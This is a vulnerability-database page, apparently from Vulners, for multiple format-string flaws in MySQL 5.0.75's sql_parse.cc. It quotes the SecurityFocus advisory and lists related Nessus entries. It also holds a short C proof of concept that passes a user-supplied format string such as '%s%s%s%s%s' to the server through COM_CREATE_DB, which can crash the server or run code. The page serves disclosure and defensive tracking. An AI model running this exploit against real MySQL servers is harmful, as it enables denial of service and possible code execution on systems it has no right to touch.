MySQL 5.0.75 - 'sql_parse.cc' Multiple Format String Vulnerabilities
| Reporter | Title | Published | Views | Family All 96 |
|---|---|---|---|---|
| Mac OS X < 10.6.3 Multiple Vulnerabilities | 30 Mar 201000:00 | – | nessus | |
| CentOS 5 : mysql (CESA-2009:1289) | 6 Jan 201000:00 | – | nessus | |
| CentOS 4 : mysql (CESA-2010:0110) | 18 Feb 201000:00 | – | nessus | |
| Debian DSA-1877-1 : mysql-dfsg-5.0 - denial of service/execution of arbitrary code | 24 Feb 201000:00 | – | nessus | |
| GLSA-201201-02 : MySQL: Multiple vulnerabilities | 6 Jan 201200:00 | – | nessus | |
| Mac OS X 10.6.x < 10.6.3 Multiple Vulnerabilities | 29 Mar 201000:00 | – | nessus | |
| Mandriva Linux Security Advisory : mysql (MDVSA-2009:159) | 28 Jul 200900:00 | – | nessus | |
| Mandriva Linux Security Advisory : mysql (MDVSA-2009:326) | 8 Dec 200900:00 | – | nessus | |
| MiracleLinux 3 : mysql-5.0.77-3.1AXS3 (AXSA:2009-392:01) | 14 Jan 202600:00 | – | nessus | |
| MySQL < 5.0.83 Denial of Service | 16 Jan 201200:00 | – | nessus |
10
// source: https://www.securityfocus.com/bid/35609/info
MySQL is prone to multiple format-string vulnerabilities.
Attackers can leverage these issues to execute arbitrary code within the context of the vulnerable application. Failed attacks will likely cause denial-of-service conditions.
MySQL 4.0.0 through 5.0.75 are vulnerable; other versions may also be affected.
#include <stdlib.h>
#include <stdio.h>
#define USE_OLD_FUNCTIONS
#include <mysql/mysql.h>
#define NullS (char *) 0
int
main (int argc, char **argv)
{
MYSQL *mysql = NULL;
mysql = mysql_init (mysql);
if (!mysql)
{
puts ("Init faild, out of memory?");
return EXIT_FAILURE;
}
if (!mysql_real_connect (mysql, /* MYSQL structure to use */
"localhost", /* server hostname or IP address */
"monty", /* mysql user */
"montypython", /* password */
NULL, /* default database to use, NULL for none */
0, /* port number, 0 for default */
NULL, /* socket file or named pipe name */
CLIENT_FOUND_ROWS /* connection flags */ ))
{
puts ("Connect failed\n");
}
else
{
puts ("Connect OK\n");
// mysql_create_db(mysql, "%s%s%s%s%s");
simple_command(mysql, COM_CREATE_DB, argv[1], strlen(argv[1]), 0);
}
mysql_close (mysql);
return EXIT_SUCCESS;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Apr 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 28.5
EPSS0.10586